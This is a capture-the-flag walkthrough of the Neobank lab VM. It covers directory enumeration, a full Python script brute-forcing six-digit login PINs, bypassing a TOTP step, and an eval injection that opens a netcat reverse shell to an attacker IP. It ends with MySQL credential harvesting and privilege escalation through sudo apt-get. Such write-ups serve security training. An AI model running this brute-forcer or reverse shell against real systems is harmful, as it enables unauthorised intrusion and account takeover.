Medium level, machine can be download here.
Nmap scan ports, only 5000 is open.
Gobuster scan folders and files with medium dic.
gobuster dir -u http://192.168.56.48:5000 -t 50 -x .php,.html,.txt -w /usr/share/dirbuster/worlists/directory-list-2.3-medium.txt -b 400,403,404,500 --wildcard -o 5000.log
Open main page, there is a login panel, and no more useful message on other pages.
Then I asked author for hints. The reason is gobuster may skip some words in mutli thread mode. I generate a new dic from the default medium dic with keywork "email", gobuster again, and found a new page "/email_list".
cat /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt | grep "email" > email_dic.txt
Open /email_list, get several email address.
These should be the "email" account for login panel, then generate a smaller 6 bit number pin dic from rockyou.txt.
grep '\<[0-9]\{6\}\>' /usr/share/wordlists/rockyou.txt > pins.txt
If we try to login with wrong creds, there is no error message, and server respond status code is always 200. So hydra may not be useful here. After ask the author for hints, I decide to make a small brute force script, and check the cookie from the server response.
#!/usr/bin/python3.8 import requests import threading header = { "Origin": "http://192.168.56.48:5000", "Referer": "http://192.168.56.48:5000", } result=dict() # All email:pin pairs saved here t_index = 0 # Global thread index #Thread function, send request and check response def t_request(account,lines,startpos,endpos): global t_index t_index = t_index + 1 l_index = t_index #l_index is the index of current thread total = int(endpos - startpos) for i in range(total): if result[account] != "": print(f"Thread {l_index} exit because other thread find the pin of {account}") return #Display thread progress. #Progress of all threads will be almost the same. print(f"{i}/{total}",end="\r") postUrl = "http://192.168.56.48:5000/login" pwd = lines[startpos+i].strip() postData = { "email": account, "pin":pwd, } responseRes = requests.post(postUrl, data = postData, headers = header) if len(responseRes.cookies) != 0: print(f"Thread{l_index} find at loop {i} >>> {account}:{pwd}") result[account]=pwd return i = i + 1 #Run till the end means this thread can't find the correct pair. print(f"Thread {l_index} finished, and not find correct pin.") if __name__ == "__main__": threads = [] #total thread nums = t_nums * number of emails #can't set too big value t_nums = 5 f_emails = open("emails.txt") emails=f_emails.readlines() f_pins = open("pins.txt") pins = f_pins.readlines() #initial the dic for email in emails: result[email.strip()]="" count = len(pins) tsize = count/t_nums #tailsize = count-tsize*t_nums for email in emails: for i in range(t_nums): if i == (t_nums - 1): t=threading.Thread(target=t_request,args=(email.strip(),pins,int(i*tsize),int(count-1))) else: t=threading.Thread(target=t_request,args=(email.strip(),pins,int(i*tsize),int((i+1)*tsize))) threads.append(t) try: for t in threads: t.setDaemon(True) t.start() for t in threads: t.join() print("Thread all finished") for k in result.keys(): print(f"{k}:{result[k]}") except Exception as e: print(e) finally: f_emails.close() f_pins.close() print("All done!")
After some while, we get several results.
Althrough I make the dics as small as possible, and use multi-thread, but the server response speed is still too slow, I can't wait till the end. So I just abort the script.
Next, we login with zeus account, and come to a new page.
If we check /qr page now, we can get a QR code image.
This QR code is not a normal one, can not be decoded by online tools. In fact, it is google authentication QR. Because the Authentication extension of firefox and chrome both unavailable on my machine, I installed Google Authentication on my phone, and scan the QR, then get a time based password.
(IMPORTANT: the otp is generated with time sync, so we should make the time sync of our machine the same with the target VM. I failed several times, because my machine is in VMware, whose time sync is local TimeZone, but the Neobank VM is in VirtualBox, whose time sync is UTC time.)
Enter the otp code, come to a new page.
After some test, I found it's python eval function, so we can get revershell with code below.
__import__( 'os' ).system('nc 192.168.56.100 1234 -e /bin/sh')
In /home folder, found user "banker", and there is a mysql_history file.
Check port, 3306 is open, so we may log in mysql with banker.
In /var/www/html/main.py, we can find the mysql creds of banker.
Login mysql, find database "bank".
Tow tables in bank.
In account table are the credentials of different emails.
In system table, we can find a password of banker.
We can su to user banker with this password. Sudo -l, banker can run apt-get.
From GTFOBins, we can get the way to root.